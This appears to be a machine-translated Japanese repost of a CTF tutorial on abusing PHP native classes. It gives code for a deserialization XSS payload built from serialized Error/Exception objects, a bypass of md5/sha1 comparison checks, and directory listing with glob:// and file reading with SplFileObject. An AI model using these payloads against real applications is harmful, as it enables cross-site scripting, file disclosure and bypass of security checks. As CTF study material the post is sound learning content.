PHPネイティブクラスの概要共有

WBOY
リリース: 2023-04-11 09:56:01
転載
3694 人が閲覧しました

この記事ではPHPに関する知識を紹介しており、主にネイティブクラスに関する内容を紹介していますので、一緒に見ていきましょう。

PHPネイティブクラスの概要共有

今回の HEctf は、コードがわずか 3 行のネイティブの質問です。案の定、コードが短くなればなるほど、ctf は難しくなります。

まず、php 組み込みクラスを横断するスクリプトを投稿します

 <?php $classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            &#39;__destruct&#39;,
            &#39;__toString&#39;,
            &#39;__wakeup&#39;,
            &#39;__call&#39;,
            &#39;__callStatic&#39;,
            &#39;__get&#39;,
            &#39;__set&#39;,
            &#39;__isset&#39;,
            &#39;__unset&#39;,
            &#39;__invoke&#39;,
            &#39;__set_state&#39;    // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类
        ))) {
            print $class . &#39;::&#39; . $method . "\n";
        }
    }
    
}
ログイン後にコピー

結果:

PHPネイティブクラスの概要共有

整理:

Exception
ErrorException
Error
ParseError
TypeError
ArgumentCountError
 ArithmeticError
DivisionByZeroError
ClosedGeneratorException
DateTime
DateTimeZone
DatePeriod
DirectoryIterator
wakeup JsonException
wakeup LogicException
BadFunctionCallException
InvalidArgumentException
 OutOfRangeException
RuntimeException
OverflowException
RangeException
UnderflowException
GlobIterator
SplFixedArray
ReflectionException
ReflectionFunctionAbstract
ReflectionParameter
ReflectionMethod
ReflectionClass
ReflectionClassConstant
ReflectionZendExtension
AssertionError
DOMException
PDOException
SimpleXMLElement
mysqli_sql_exception
PharException
PharData
PharFileInfo
ログイン後にコピー

おおよそこれらのクラスですが、ctf コンテストでは次のクラスがよく使用されます

  • Error
  • Exception
  • SoapClient
  • DirectoryIterator
  • SimpleXMLElement

エラー/例外 XSS の組み込みクラス

error xss

#__toString メソッドは、エラーまたは例外 入力したパラメータを含む文字列形式。xss コードの文字列を構築し、それをエコー レンダリングと組み合わせると、反映された xss 脆弱性がトリガーされます

demo:

<?php $a = unserialize($_GET[&#39;a&#39;]);echo $a;
ログイン後にコピー

poc

<?php $a = new Error("<script>alert('hacker')");
$b = serialize($a);
echo urlencode($b);
ログイン後にコピー

文字列の出力

O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3
Bs%3A32%3A%22%3Cscript%3Ealert%28%27hacker%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A25%3A%22E%3A%5Cphp%5Cfunction%5Ctest2.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D复制代码
ログイン後にコピー

成功したポップアップ ウィンドウ

PHPネイティブクラスの概要共有

例外 xss

ExceptionYes すべてのユーザーレベルの例外の基本クラス。 (PHP 5、7、8)

<?php $a = new Exception("<script>alert('hacker')");
$b = serialize($a);
echo urlencode($b);
?>
ログイン後にコピー

は、error と同じポップ構造を持っているようです (例外は php5 と 7 に適用され、エラーは php7 にのみ適用されます)。エラーを例外に置き換えるだけです。それでも正常にポップアップ表示されます

PHPネイティブクラスの概要共有

エラー/例外組み込みクラスはハッシュ比較をバイパスします

これら 2 つのクラスを構築することで、md5() と sha1 ( )関数。エラーと例外の両方に、_tostring という重要なメソッドがあります。これは、例外オブジェクトを文字列に変換するために使用されます。

同様に、md5() 関数と sha1() 関数がオブジェクトを処理するときに、__tostring メソッドが自動的に呼び出されます。

<?php $a = new Error("payload",1);$b=new Error("payload",2);
echo $a."<br>";
echo $b."<br>";
ログイン後にコピー

出力結果

PHPネイティブクラスの概要共有それがわかります。ペイロード次のパラメータは出力結果に影響を与えません。これにより、ハッシュ関数をバイパスできます。

<?php $a=new Error("payload",1);$b=new Error("payload",2);
if ($a!=$b){
    echo &#39;$a不等于$b&#39;."\n
";}
if (md5($a)===md5($b)) {
    echo "md5值相等\n";
}
if (sha1($a)===sha1($b)){
    echo "sha1值相等\n";
}
ログイン後にコピー

PHPネイティブクラスの概要共有

soapclient

soap の定義

Simple Object Access Protocol の意味

ここで言われる理由HTTP と XML という広く使われている 2 つのプロトコルに基づいているため、業界ではこの技術を「新しい技術を発明しない初めての技術」と呼んでいます。Web サービスにアクセスするため、オブジェクトと呼ばれます。サービスはオブジェクトであるため、サービスには関連する属性と呼び出し動作が必要です。これらの属性と動作は WSDL を通じて記述されます。 「シンプル オブジェクト アクセス プロトコル」という観点で理解すると、「シンプル オブジェクト アクセス プロトコル」よりも簡単です。

PHP の組み込みクラス SoapClient は、Web サービスへのアクセスに特化して使用されるクラスであり、SOAP を提供できます。 PHP クライアントが Web サービスにアクセスするための -based プロトコル。

このクラスのコンストラクターは次のとおりです:

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
ログイン後にコピー
  • 最初のパラメーターは、wsdl モードかどうかを示すために使用され、値を null に設定すると、非 wsdl モードを示します。
  • 2 番目のパラメータは配列です。wsdl モードの場合、このパラメータはオプションです。非 wsdl モードの場合、location および uri オプションを設定する必要があります。location はリクエストの宛先となる SOAP です。サーバーの URL、uri は SOAP サービスのターゲット名前空間です。

php ネイティブ ファイル操作クラス

ディレクトリ トラバーサル

DirectoryIterator

__toString ファイル名を文字列形式で取得します (PHP 5、7、8)

例:

<?php $a = new DirectoryIterator("/");
foreach($a as $b){
    echo($b.&#39;</br>');
}
echo $a;
ログイン後にコピー

PHPネイティブクラスの概要共有指定されたディレクトリ内の最初にソートされたファイルを出力しますファイル名

この組み込みクラスの __toString メソッドを glob またはファイル プロトコルと組み合わせて使用​​し、ディレクトリ トラバーサルを実現します

<?php $a = new DirectoryIterator("glob://*");
foreach ($a as $b){
    echo $b.&#39;<br>';
}
ログイン後にコピー

PHPネイティブクラスの概要共有

使用foreach 関数 すべてのファイルを走査します

<?php $a = new DirectoryIterator("glob:///*");
foreach ($a as $b){
    echo $b.&#39;<br>';
}
ログイン後にコピー

PHPネイティブクラスの概要共有

スラッシュをもう 1 つ、ディレクトリ内で前方に 1 つ追加します。

FilesystemIterator クラス

FilesystemIterator クラスは DirectoryIterator クラスと同一であり、ファイル システム ディレクトリの内容を表示するための単純なインターフェイスを提供します。このクラスのコンストラクターは、指定されたディレクトリのイテレーターを作成します。

このクラスの使用方法は、基本的に DirectoryIterator クラスと同じです。

<?php $a = new FilesystemIterator("glob:///*");
foreach ($a as $b){
    echo $b.&#39;<br>';
}
ログイン後にコピー

PHPネイティブクラスの概要共有

文件读取

SplFileObject::__toString — 以字符串形式返回文件的路径

<?php $a = new SplFileObject(&#39;flag.txt&#39;);
echo $a;
ログイン後にコピー

PHPネイティブクラスの概要共有输出多行

<?php $a = new SplFileObject(&#39;flag.txt&#39;);
foreach($a as $f){
    echo($f);
}
ログイン後にコピー

PHPネイティブクラスの概要共有

推荐学习:《PHP视频教程

以上がPHPネイティブクラスの概要共有の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

関連ラベル:
php
ソース:juejin.im
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
最新の問題
人気のチュートリアル
詳細>
関連するチュートリアル
人気のおすすめ
最新のコース
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート